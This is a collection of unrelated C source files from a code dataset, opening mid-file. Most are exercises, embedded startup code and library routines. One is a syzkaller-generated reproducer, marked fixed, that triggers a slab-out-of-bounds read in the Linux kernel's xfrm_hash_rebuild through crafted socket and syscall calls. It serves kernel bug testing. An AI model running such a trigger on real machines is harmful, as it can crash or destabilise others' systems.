"%s: close error on %s: %s\n", progname, f->f_nam, strerror(errno)); errcnt |= 040; } } } return errcnt; }
the_stack_data/67324124.c
#include <stdio.h> #include <stdlib.h> #include <math.h> int main() { float m2, hectares; printf("----METROS QUADRADOS PARA HECTARES\n"); printf("Insira o valor da area em metros quadrados: "); scanf("%f", &m2); hectares = m2*0.0001; printf("O valor da area em metros quadrados convertidos para hectares eh de: %.3f\n\n", hectares); return 0; }
the_stack_data/163186.c
#include <stdio.h> int main() { long long int s, a, b, c, t, ans=0; scanf("%lld", &t); while(t--) { scanf("%lld %lld %lld %lld", &s, &a, &b, &c); ans=(s/c); ans+=((ans/a)*b); printf("%lld\n", ans); } return 0; }
the_stack_data/1175815.c
// KASAN: slab-out-of-bounds Read in xfrm_hash_rebuild // https://syzkaller.appspot.com/bug?id=1c11a638b7d27e871aa297f3b4d5fd5bc90f0cb4 // status:fixed // autogenerated by syzkaller (http://github.com/google/syzkaller) #define _GNU_SOURCE #include <endian.h> #include <stdint.h> #include <string.h> #include <sys/syscall.h> #include <unistd.h> long r[3]; void loop() { memset(r, -1, sizeof(r)); syscall(__NR_mmap, 0x20000000, 0xfff000, 3, 0x32, -1, 0); r[0] = syscall(__NR_socket, 0xa, 2, 0); *(uint8_t*)0x201e8000 = 0xac; *(uint8_t*)0x201e8001 = 0x14; *(uint8_t*)0x201e8002 = 0; *(uint8_t*)0x201e8003 = 0xbb; *(uint8_t*)0x201e8010 = 0xfe; *(uint8_t*)0x201e8011 = 0x80; *(uint8_t*)0x201e8012 = 0; *(uint8_t*)0x201e8013 = 0; *(uint8_t*)0x201e8014 = 0; *(uint8_t*)0x201e8015 = 0; *(uint8_t*)0x201e8016 = 0; *(uint8_t*)0x201e8017 = 0; *(uint8_t*)0x201e8018 = 0; *(uint8_t*)0x201e8019 = 0; *(uint8_t*)0x201e801a = 0; *(uint8_t*)0x201e801b = 0; *(uint8_t*)0x201e801c = 0; *(uint8_t*)0x201e801d = 0; *(uint8_t*)0x201e801e = 0; *(uint8_t*)0x201e801f = 0xbb; *(uint16_t*)0x201e8020 = htobe16(0x4e20); *(uint16_t*)0x201e8022 = 0; *(uint16_t*)0x201e8024 = htobe16(0x4e20); *(uint16_t*)0x201e8026 = 0; *(uint16_t*)0x201e8028 = 2; *(uint8_t*)0x201e802a = 0; *(uint8_t*)0x201e802b = 0; *(uint8_t*)0x201e802c = 0; *(uint32_t*)0x201e8030 = 0; *(uint32_t*)0x201e8034 = 0; *(uint64_t*)0x201e8038 = 0; *(uint64_t*)0x201e8040 = 0; *(uint64_t*)0x201e8048 = 0; *(uint64_t*)0x201e8050 = 0; *(uint64_t*)0x201e8058 = 0; *(uint64_t*)0x201e8060 = 0; *(uint64_t*)0x201e8068 = 0; *(uint64_t*)0x201e8070 = 0; *(uint64_t*)0x201e8078 = 0; *(uint64_t*)0x201e8080 = 0; *(uint64_t*)0x201e8088 = 0; *(uint64_t*)0x201e8090 = 0; *(uint32_t*)0x201e8098 = 0; *(uint32_t*)0x201e809c = 0x6e6bb0; *(uint8_t*)0x201e80a0 = 0; *(uint8_t*)0x201e80a1 = 0; *(uint8_t*)0x201e80a2 = 0; *(uint8_t*)0x201e80a3 = 0; *(uint8_t*)0x201e80a8 = 0xac; *(uint8_t*)0x201e80a9 = 0x14; *(uint8_t*)0x201e80aa = 0; *(uint8_t*)0x201e80ab = 0xaa; *(uint32_t*)0x201e80b8 = htobe32(0x4d2); *(uint8_t*)0x201e80bc = -1; *(uint16_t*)0x201e80c0 = 0; *(uint8_t*)0x201e80c4 = 0; *(uint8_t*)0x201e80c5 = 0; *(uint8_t*)0x201e80c6 = 0; *(uint8_t*)0x201e80c7 = 0; *(uint8_t*)0x201e80c8 = 0; *(uint8_t*)0x201e80c9 = 0; *(uint8_t*)0x201e80ca = 0; *(uint8_t*)0x201e80cb = 0; *(uint8_t*)0x201e80cc = 0; *(uint8_t*)0x201e80cd = 0; *(uint8_t*)0x201e80ce = 0; *(uint8_t*)0x201e80cf = 0; *(uint8_t*)0x201e80d0 = 0; *(uint8_t*)0x201e80d1 = 0; *(uint8_t*)0x201e80d2 = 0; *(uint8_t*)0x201e80d3 = 0; *(uint32_t*)0x201e80d4 = 0x34ff; *(uint8_t*)0x201e80d8 = 0; *(uint8_t*)0x201e80d9 = 0; *(uint8_t*)0x201e80da = 0; *(uint32_t*)0x201e80dc = 0; *(uint32_t*)0x201e80e0 = 0; *(uint32_t*)0x201e80e4 = 0; syscall(__NR_setsockopt, r[0], 0x29, 0x23, 0x201e8000, 0xe8); r[1] = syscall(__NR_socket, 0xf, 3, 2); *(uint32_t*)0x20e8c000 = 0; syscall(__NR_setsockopt, r[1], 1, 8, 0x20e8c000, 4); memcpy((void*)0x20a97ff0, "\x02\x0b\xaf\x01\x02\x00\x00\x00\x00\x06\x7b\xbc\x8e\x1d\x4b\x48", 16); syscall(__NR_write, r[1], 0x20a97ff0, 0x10); memcpy((void*)0x20000ff0, "\x02\x12\xa1\x25\x02\x00\x00\x00\x09\xe5\x00\x00\x00\x00\x09\x00", 16); syscall(__NR_write, r[1], 0x20000ff0, 0x10); r[2] = syscall(__NR_socket, 0x10, 2, 6); *(uint64_t*)0x20616fc8 = 0x20000000; *(uint32_t*)0x20616fd0 = 0; *(uint64_t*)0x20616fd8 = 0x20664000; *(uint64_t*)0x20616fe0 = 1; *(uint64_t*)0x20616fe8 = 0x2061e000; *(uint64_t*)0x20616ff0 = 0; *(uint32_t*)0x20616ff8 = 0; *(uint64_t*)0x20664000 = 0x20d9efdf; *(uint64_t*)0x20664008 = 0x20; *(uint32_t*)0x20d9efdf = 0x20; *(uint16_t*)0x20d9efe3 = 0x24; *(uint16_t*)0x20d9efe5 = 1; *(uint32_t*)0x20d9efe7 = 0; *(uint32_t*)0x20d9efeb = 0x25dfdbfb; memcpy((void*)0x20d9efef, "\x23\x00\xfb\x06\x0b\x00\x04\x00\x00\x00\x00\x00\xff", 13); syscall(__NR_sendmsg, r[2], 0x20616fc8, 0); } int main() { loop(); return 0; }
the_stack_data/165768692.c
#include <stdio.h> #include <stdlib.h> #include <math.h> struct triangle { int a; int b; int c; }; typedef struct triangle triangle; double get_volume(triangle tr) { double p, a, b, c; a = (double) tr.a; b = (double) tr.b; c = (double) tr.c; p = (a + b + c)/2; /* don't return sqrt() as it doesn't change the order */ return p*(p - a)*(p - b)*(p - c); } int cmp_func(const void *a, const void *b) { triangle *ia = (triangle *) a; triangle *ib = (triangle *) b; return (int)(get_volume(*ia) - get_volume(*ib)); } void sort_by_area(triangle *tr, int n) { /** * Sort an array a of the length n */ qsort((void *) tr, n, sizeof(triangle), cmp_func); } int main() { int n; scanf("%d", &n); triangle *tr = malloc(n * sizeof(triangle)); for (int i = 0; i < n; i++) { scanf("%d%d%d", &tr[i].a, &tr[i].b, &tr[i].c); } sort_by_area(tr, n); for (int i = 0; i < n; i++) { printf("%d %d %d\n", tr[i].a, tr[i].b, tr[i].c); } return 0; }
the_stack_data/1254070.c
//<ctype.h> //program on ispunct() #include <stdio.h> #include <ctype.h> int main () { int var1 = 't'; int var2 = '1'; int var3 = '/'; int var4 = ' '; if( ispunct(var1) ) { printf("var1 = |%c| is a punctuation character\n", var1 ); } else { printf("var1 = |%c| is not a punctuation character\n", var1 ); } if( ispunct(var2) ) { printf("var2 = |%c| is a punctuation character\n", var2 ); } else { printf("var2 = |%c| is not a punctuation character\n", var2 ); } if( ispunct(var3) ) { printf("var3 = |%c| is a punctuation character\n", var3 ); } else { printf("var3 = |%c| is not a punctuation character\n", var3 ); } if( ispunct(var4) ) { printf("var4 = |%c| is a punctuation character\n", var4 ); } else { printf("var4 = |%c| is not a punctuation character\n", var4 ); } return(0); }
the_stack_data/503064.c
#include <stdio.h> int main (void) { printf("Hello World!\n"); return 0; }
the_stack_data/61076137.c
//***************************************************************************** // LPC175x_6x Microcontroller Startup code for use with LPCXpresso IDE // // Version : 140114 //***************************************************************************** // // Copyright(C) NXP Semiconductors, 2014 // All rights reserved. // // Software that is described herein is for illustrative purposes only // which provides customers with programming information regarding the // LPC products. This software is supplied "AS IS" without any warranties of // any kind, and NXP Semiconductors and its licensor disclaim any and // all warranties, express or implied, including all implied warranties of // merchantability, fitness for a particular purpose and non-infringement of // intellectual property rights. NXP Semiconductors assumes no responsibility // or liability for the use of the software, conveys no license or rights under any // patent, copyright, mask work right, or any other intellectual property rights in // or to any products. NXP Semiconductors reserves the right to make changes // in the software without notification. NXP Semiconductors also makes no // representation or warranty that such application will be suitable for the // specified use without further testing or modification. // // Permission to use, copy, modify, and distribute this software and its // documentation is hereby granted, under NXP Semiconductors' and its // licensor's relevant copyrights in the software, without fee, provided that it // is used in conjunction with NXP Semiconductors microcontrollers. This // copyright, permission, and disclaimer notice must appear in all copies of // this code. //***************************************************************************** #if defined (__cplusplus) #ifdef __REDLIB__ #error Redlib does not support C++ #else //***************************************************************************** // // The entry point for the C++ library startup // //***************************************************************************** extern "C" { extern void __libc_init_array(void); } #endif #endif #define WEAK __attribute__ ((weak)) #define ALIAS(f) __attribute__ ((weak, alias (#f))) //***************************************************************************** #if defined (__cplusplus) extern "C" { #endif //***************************************************************************** #if defined (__USE_CMSIS) || defined (__USE_LPCOPEN) // Declaration of external SystemInit function extern void SystemInit(void); #endif //***************************************************************************** // // Forward declaration of the default handlers. These are aliased. // When the application defines a handler (with the same name), this will // automatically take precedence over these weak definitions // //***************************************************************************** void ResetISR(void); WEAK void NMI_Handler(void); WEAK void HardFault_Handler(void); WEAK void MemManage_Handler(void); WEAK void BusFault_Handler(void); WEAK void UsageFault_Handler(void); WEAK void SVC_Handler(void); WEAK void DebugMon_Handler(void); WEAK void PendSV_Handler(void); WEAK void SysTick_Handler(void); WEAK void IntDefaultHandler(void); //***************************************************************************** // // Forward declaration of the specific IRQ handlers. These are aliased // to the IntDefaultHandler, which is a 'forever' loop. When the application // defines a handler (with the same name), this will automatically take // precedence over these weak definitions // //***************************************************************************** void WDT_IRQHandler(void) ALIAS(IntDefaultHandler); void TIMER0_IRQHandler(void) ALIAS(IntDefaultHandler); void TIMER1_IRQHandler(void) ALIAS(IntDefaultHandler); void TIMER2_IRQHandler(void) ALIAS(IntDefaultHandler); void TIMER3_IRQHandler(void) ALIAS(IntDefaultHandler); void UART0_IRQHandler(void) ALIAS(IntDefaultHandler); void UART1_IRQHandler(void) ALIAS(IntDefaultHandler); void UART2_IRQHandler(void) ALIAS(IntDefaultHandler); void UART3_IRQHandler(void) ALIAS(IntDefaultHandler); void PWM1_IRQHandler(void) ALIAS(IntDefaultHandler); void I2C0_IRQHandler(void) ALIAS(IntDefaultHandler); void I2C1_IRQHandler(void) ALIAS(IntDefaultHandler); void I2C2_IRQHandler(void) ALIAS(IntDefaultHandler); void SPI_IRQHandler(void) ALIAS(IntDefaultHandler); void SSP0_IRQHandler(void) ALIAS(IntDefaultHandler); void SSP1_IRQHandler(void) ALIAS(IntDefaultHandler); void PLL0_IRQHandler(void) ALIAS(IntDefaultHandler); void RTC_IRQHandler(void) ALIAS(IntDefaultHandler); void EINT0_IRQHandler(void) ALIAS(IntDefaultHandler); void EINT1_IRQHandler(void) ALIAS(IntDefaultHandler); void EINT2_IRQHandler(void) ALIAS(IntDefaultHandler); void EINT3_IRQHandler(void) ALIAS(IntDefaultHandler); void ADC_IRQHandler(void) ALIAS(IntDefaultHandler); void BOD_IRQHandler(void) ALIAS(IntDefaultHandler); void USB_IRQHandler(void) ALIAS(IntDefaultHandler); void CAN_IRQHandler(void) ALIAS(IntDefaultHandler); void DMA_IRQHandler(void) ALIAS(IntDefaultHandler); void I2S_IRQHandler(void) ALIAS(IntDefaultHandler); #if defined (__USE_LPCOPEN) void ETH_IRQHandler(void) ALIAS(IntDefaultHandler); #else void ENET_IRQHandler(void) ALIAS(IntDefaultHandler); #endif void RIT_IRQHandler(void) ALIAS(IntDefaultHandler); void MCPWM_IRQHandler(void) ALIAS(IntDefaultHandler); void QEI_IRQHandler(void) ALIAS(IntDefaultHandler); void PLL1_IRQHandler(void) ALIAS(IntDefaultHandler); void USBActivity_IRQHandler(void) ALIAS(IntDefaultHandler); void CANActivity_IRQHandler(void) ALIAS(IntDefaultHandler); //***************************************************************************** // // The entry point for the application. // __main() is the entry point for Redlib based applications // main() is the entry point for Newlib based applications // //***************************************************************************** #if defined (__REDLIB__) extern void __main(void); #endif extern int main(void); //***************************************************************************** // // External declaration for the pointer to the stack top from the Linker Script // //***************************************************************************** extern void _vStackTop(void); //***************************************************************************** #if defined (__cplusplus) } // extern "C" #endif //***************************************************************************** // // The vector table. // This relies on the linker script to place at correct location in memory. // //***************************************************************************** extern void (* const g_pfnVectors[])(void); __attribute__ ((section(".isr_vector"))) __attribute__ ((used)) void (* const g_pfnVectors[])(void) = { // Core Level - CM3 &_vStackTop, // The initial stack pointer ResetISR, // The reset handler NMI_Handler, // The NMI handler HardFault_Handler, // The hard fault handler MemManage_Handler, // The MPU fault handler BusFault_Handler, // The bus fault handler UsageFault_Handler, // The usage fault handler 0, // Reserved 0, // Reserved 0, // Reserved 0, // Reserved SVC_Handler, // SVCall handler DebugMon_Handler, // Debug monitor handler 0, // Reserved PendSV_Handler, // The PendSV handler SysTick_Handler, // The SysTick handler // Chip Level - LPC17 WDT_IRQHandler, // 16, 0x40 - WDT TIMER0_IRQHandler, // 17, 0x44 - TIMER0 TIMER1_IRQHandler, // 18, 0x48 - TIMER1 TIMER2_IRQHandler, // 19, 0x4c - TIMER2 TIMER3_IRQHandler, // 20, 0x50 - TIMER3 UART0_IRQHandler, // 21, 0x54 - UART0 UART1_IRQHandler, // 22, 0x58 - UART1 UART2_IRQHandler, // 23, 0x5c - UART2 UART3_IRQHandler, // 24, 0x60 - UART3 PWM1_IRQHandler, // 25, 0x64 - PWM1 I2C0_IRQHandler, // 26, 0x68 - I2C0 I2C1_IRQHandler, // 27, 0x6c - I2C1 I2C2_IRQHandler, // 28, 0x70 - I2C2 SPI_IRQHandler, // 29, 0x74 - SPI SSP0_IRQHandler, // 30, 0x78 - SSP0 SSP1_IRQHandler, // 31, 0x7c - SSP1 PLL0_IRQHandler, // 32, 0x80 - PLL0 (Main PLL) RTC_IRQHandler, // 33, 0x84 - RTC EINT0_IRQHandler, // 34, 0x88 - EINT0 EINT1_IRQHandler, // 35, 0x8c - EINT1 EINT2_IRQHandler, // 36, 0x90 - EINT2 EINT3_IRQHandler, // 37, 0x94 - EINT3 ADC_IRQHandler, // 38, 0x98 - ADC BOD_IRQHandler, // 39, 0x9c - BOD USB_IRQHandler, // 40, 0xA0 - USB CAN_IRQHandler, // 41, 0xa4 - CAN DMA_IRQHandler, // 42, 0xa8 - GP DMA I2S_IRQHandler, // 43, 0xac - I2S #if defined (__USE_LPCOPEN) ETH_IRQHandler, // 44, 0xb0 - Ethernet #else ENET_IRQHandler, // 44, 0xb0 - Ethernet #endif RIT_IRQHandler, // 45, 0xb4 - RITINT MCPWM_IRQHandler, // 46, 0xb8 - Motor Control PWM QEI_IRQHandler, // 47, 0xbc - Quadrature Encoder PLL1_IRQHandler, // 48, 0xc0 - PLL1 (USB PLL) USBActivity_IRQHandler, // 49, 0xc4 - USB Activity interrupt to wakeup CANActivity_IRQHandler, // 50, 0xc8 - CAN Activity interrupt to wakeup }; //***************************************************************************** // Functions to carry out the initialization of RW and BSS data sections. These // are written as separate functions rather than being inlined within the // ResetISR() function in order to cope with MCUs with multiple banks of // memory. //***************************************************************************** __attribute__ ((section(".after_vectors"))) void data_init(unsigned int romstart, unsigned int start, unsigned int len) { unsigned int *pulDest = (unsigned int*) start; unsigned int *pulSrc = (unsigned int*) romstart; unsigned int loop; for (loop = 0; loop < len; loop = loop + 4) *pulDest++ = *pulSrc++; } __attribute__ ((section(".after_vectors"))) void bss_init(unsigned int start, unsigned int len) { unsigned int *pulDest = (unsigned int*) start; unsigned int loop; for (loop = 0; loop < len; loop = loop + 4) *pulDest++ = 0; } //***************************************************************************** // The following symbols are constructs generated by the linker, indicating // the location of various points in the "Global Section Table". This table is // created by the linker via the Code Red managed linker script mechanism. It // contains the load address, execution address and length of each RW data // section and the execution and length of each BSS (zero initialized) section. //***************************************************************************** extern unsigned int __data_section_table; extern unsigned int __data_section_table_end; extern unsigned int __bss_section_table; extern unsigned int __bss_section_table_end; //***************************************************************************** // Reset entry point for your code. // Sets up a simple runtime environment and initializes the C/C++ // library. //***************************************************************************** __attribute__ ((section(".after_vectors"))) void ResetISR(void) { // // Copy the data sections from flash to SRAM. // unsigned int LoadAddr, ExeAddr, SectionLen; unsigned int *SectionTableAddr; // Load base address of Global Section Table SectionTableAddr = &__data_section_table; // Copy the data sections from flash to SRAM. while (SectionTableAddr < &__data_section_table_end) { LoadAddr = *SectionTableAddr++; ExeAddr = *SectionTableAddr++; SectionLen = *SectionTableAddr++; data_init(LoadAddr, ExeAddr, SectionLen); } // At this point, SectionTableAddr = &__bss_section_table; // Zero fill the bss segment while (SectionTableAddr < &__bss_section_table_end) { ExeAddr = *SectionTableAddr++; SectionLen = *SectionTableAddr++; bss_init(ExeAddr, SectionLen); } #if defined (__USE_CMSIS) || defined (__USE_LPCOPEN) SystemInit(); #endif #if defined (__cplusplus) // // Call C++ library initialisation // __libc_init_array(); #endif #if defined (__REDLIB__) // Call the Redlib library, which in turn calls main() __main() ; #else main(); #endif // // main() shouldn't return, but if it does, we'll just enter an infinite loop // while (1) { ; } } //***************************************************************************** // Default exception handlers. Override the ones here by defining your own // handler routines in your application code. //***************************************************************************** __attribute__ ((section(".after_vectors"))) void NMI_Handler(void) { while(1) {} } __attribute__ ((section(".after_vectors"))) void HardFault_Handler(void) { while(1) {} } __attribute__ ((section(".after_vectors"))) void MemManage_Handler(void) { while(1) {} } __attribute__ ((section(".after_vectors"))) void BusFault_Handler(void) { while(1) {} } __attribute__ ((section(".after_vectors"))) void UsageFault_Handler(void) { while(1) {} } __attribute__ ((section(".after_vectors"))) void SVC_Handler(void) { while(1) {} } __attribute__ ((section(".after_vectors"))) void DebugMon_Handler(void) { while(1) {} } __attribute__ ((section(".after_vectors"))) void PendSV_Handler(void) { while(1) {} } __attribute__ ((section(".after_vectors"))) void SysTick_Handler(void) { while(1) {} } //***************************************************************************** // // Processor ends up here if an unexpected interrupt occurs or a specific // handler is not present in the application code. // //***************************************************************************** __attribute__ ((section(".after_vectors"))) void IntDefaultHandler(void) { while(1) {} }
the_stack_data/24933.c
#include <inttypes.h> #include <stdint.h> #include <stdio.h> static int64_t is_prime(int64_t n) { if (n < 2) { return 0; } if (n == 2) { return 1; } int64_t i = 2; while (i < n) { if (n % i == 0) { return 0; } i = i + 1; } return 1; } int main(void) { printf("%" PRId64 "\n", is_prime(5000000029)); return 0; }
the_stack_data/145548.c
/** * @file * * @brief test if librt functionality is provided by the system. * Must only be invoked by CMake's try_compile function. * * @copyright BSD License (see LICENSE.md or https://www.libelektra.org) */ #include <fcntl.h> /* For O_* constants */ #include <sys/mman.h> #include <sys/stat.h> /* For mode constants */ #include <sys/wait.h> int main (int argc, char ** argv) { char shm_name[] = "shm_name_elektra_test_compile"; shm_unlink (shm_name); int shm_fd = shm_open (shm_name, O_RDWR | O_CREAT | O_EXCL, S_IRUSR | S_IWUSR); }
the_stack_data/59512996.c
struct address_space_operations { int (*error_remove_page)(); }; int generic_error_remove_page() { return -5; } int generic_error_remove_page2() { return -6; } static const struct address_space_operations shmem_aops = { .error_remove_page = generic_error_remove_page, }; int main() { int x, err; struct address_space_operations aops; if (x) { aops.error_remove_page = generic_error_remove_page; } else { aops.error_remove_page = generic_error_remove_page2; } err = aops.error_remove_page(); return 0; }
the_stack_data/220455594.c
/* Copyright 2017 IBM Corporation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <stdio.h> #include <stdlib.h> #include <math.h> int main (int argc, char **argv) { double a, b; if (argc < 2) return EXIT_FAILURE; a = atof (argv[1]); b = pow (a, a); printf ("%f^%f = %f\n", a, a, b); return EXIT_SUCCESS; }
the_stack_data/43886514.c
#include<stdio.h> int size, front = -1, rear = -1; void push(int a[]){ //printf("front = %d and rear = %d\n",front,rear); if((rear+1)%size == front){ printf("Overflow\n"); return; } printf("Enter element to be pushed : "); int element; scanf("%d",&element); if(front==-1 && rear==-1){ front=0; rear=0; a[rear] = element; return; } else{ rear = (rear+1)%size; a[rear] = element; } } void pop(int a[]){ if(isempty(a)){ printf("Underflow"); return; } printf("%d",a[front]); if(front == rear){ front=rear=-1; return; } //printf("front = %d and rear = %d\n",front,rear); front = (front+1)%size; } int isempty(int a[]){ if((front==-1 && rear==-1)){ return 1; } return 0; } void front_dispaly(int a[]){ if(isempty(a)){ printf("No front element\n"); return; } printf("%d\n",a[front]); } void display(int a[]){ if(isempty(a)){ printf("Nothing to display\n"); return;} int i; for( i=front;i<=rear;i++){ printf("%d -> ",a[i]); } printf("\n"); } int main(){ printf("Enter the size of the queue : "); scanf("%d",&size); int a[size]; while(1){ printf("\n1.Push\n2.Pop\n3.IsEmpty()\n4.Front\n5.Display\n"); int ch; scanf("%d",&ch); if(ch==1){ push(a); } else if(ch==2){ pop(a); } else if(ch==3){ if(isempty(a)){ printf("Empty\n"); } else{ printf("Not Empty\n"); } } else if(ch==4){ front_dispaly(a); } else if(ch==5){ display(a); } else{ return 1; } } }
the_stack_data/115900.c
/* ARQUIVO PARA TESTES GENÉRICOS */ #include <stdio.h> #include <stdlib.h> #include <string.h> int main(){ int n; float f; printf("Please enter an integer: "); while(scanf("%f",&f)!=1 || (int)f != f){ printf("oi\n"); } return 0; }
the_stack_data/156393237.c
/* PR debug/25023 */ /* { dg-do compile } */ /* { dg-options "-O2" } */ /* { dg-options "-O2 -mtune=i686" { target { { i?86-*-* x86_64-*-* } && ia32 } } } */ extern unsigned char v; float foo (void) { return v; }
the_stack_data/392952.c
#include<stdio.h> int main(){ printf("Hello world!"); return 0; }
the_stack_data/130315.c
/* * Copyright (c) 2021 HopeBayTech. * * This file is part of Tera. * See https://github.com/HopeBayMobile for further info. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /* Adapted from NetBSB libc by Dieter Baron */ /* NetBSD: gettemp.c,v 1.13 2003/12/05 00:57:36 uebayasi Exp */ /* * Copyright (c) 1987, 1993 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include <sys/types.h> #include <sys/stat.h> #include <assert.h> #include <ctype.h> #include <errno.h> #include <fcntl.h> #ifdef _WIN32 #include <io.h> #endif #include <stdio.h> #include <stdlib.h> #ifndef O_BINARY #define O_BINARY 0 #endif int _zip_mkstemp(char *path) { #ifdef _WIN32 int ret; ret = _creat(_mktemp(path), _S_IREAD|_S_IWRITE); if (ret == -1) { return 0; } else { return ret; } #else int fd; char *start, *trv; struct stat sbuf; pid_t pid; /* To guarantee multiple calls generate unique names even if the file is not created. 676 different possibilities with 7 or more X's, 26 with 6 or less. */ static char xtra[2] = "aa"; int xcnt = 0; pid = getpid(); /* Move to end of path and count trailing X's. */ for (trv = path; *trv; ++trv) if (*trv == 'X') xcnt++; else xcnt = 0; /* Use at least one from xtra. Use 2 if more than 6 X's. */ if (*(trv - 1) == 'X') *--trv = xtra[0]; if (xcnt > 6 && *(trv - 1) == 'X') *--trv = xtra[1]; /* Set remaining X's to pid digits with 0's to the left. */ while (*--trv == 'X') { *trv = (pid % 10) + '0'; pid /= 10; } /* update xtra for next call. */ if (xtra[0] != 'z') xtra[0]++; else { xtra[0] = 'a'; if (xtra[1] != 'z') xtra[1]++; else xtra[1] = 'a'; } /* * check the target directory; if you have six X's and it * doesn't exist this runs for a *very* long time. */ for (start = trv + 1;; --trv) { if (trv <= path) break; if (*trv == '/') { *trv = '\0'; if (stat(path, &sbuf)) return (0); if (!S_ISDIR(sbuf.st_mode)) { errno = ENOTDIR; return (0); } *trv = '/'; break; } } for (;;) { if ((fd=open(path, O_CREAT|O_EXCL|O_RDWR|O_BINARY, 0600)) >= 0) return (fd); if (errno != EEXIST) return (0); /* tricky little algorithm for backward compatibility */ for (trv = start;;) { if (!*trv) return (0); if (*trv == 'z') *trv++ = 'a'; else { if (isdigit((unsigned char)*trv)) *trv = 'a'; else ++*trv; break; } } } /*NOTREACHED*/ #endif }
the_stack_data/117453.c
/* * Date: 17.12.2013 * Author: Thomas Ströder */ #include <stdlib.h> extern int __VERIFIER_nondet_int(void); /*- * Copyright (c) 1990 The Regents of the University of California. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ int cstrncmp(const char *s1, const char *s2, size_t n) { if (n == 0) return (0); do { if (*s1 != *s2++) return (*(unsigned char *)s1 - *(unsigned char *)--s2); if (*s1++ == 0) break; } while (--n != 0); return (0); } int main() { int length1 = __VERIFIER_nondet_int(); int length2 = __VERIFIER_nondet_int(); if (length1 < 1) { length1 = 1; } if (length2 < 1) { length2 = 1; } char* nondetString1 = (char*) alloca(length1 * sizeof(char)); char* nondetString2 = (char*) alloca(length2 * sizeof(char)); nondetString1[length1-1] = '\0'; nondetString2[length2-1] = '\0'; return cstrncmp(nondetString1,nondetString2,__VERIFIER_nondet_int()); }
the_stack_data/7949259.c
#include <stdio.h> #include <string.h> #define max 10 int is_month_legit(int month); int is_day_legit(int day, int month); int last_dig(int *egn); int main() { char arr[12]; int egn[max] = {0}; int i,month=0,day=0; scanf("%s",arr); int l; l=strlen(arr); if(l != 10 ) { printf("0"); return 0; } for(i=0; i<max; i++) { egn[i] = arr[i] - 48; } month = (egn[2]*10)+egn[3]; day = (egn[5]*10)+egn[6]; if(!is_month_legit(month) && !is_day_legit(day,month)) { printf("0"); return 0; } if(egn[9] == last_dig(egn)) { printf("1"); } else { printf("0"); } return 0; } int is_month_legit(int month) { if(month%20<=12 && month<=52 ) return 1; return 0; } int is_day_legit(int day, int month) { if(month == 2 && day<=28) return 1; if(month%2 == 1 && day<=31) return 1; if(month%2 == 0 && day<=30) return 1; return 0; } int last_dig(int *egn) { int eq = 0; eq = ((2 * egn[0]) + (4 * egn[1]) + (8 * egn[2]) + (5* egn[3]) + (10*egn[4]) + (9 * egn[5]) + (7 * egn[6]) + (3 * egn[7]) +(6 * egn[8])) % 11; if (eq == 10) return 0; return eq; }
the_stack_data/76828.c
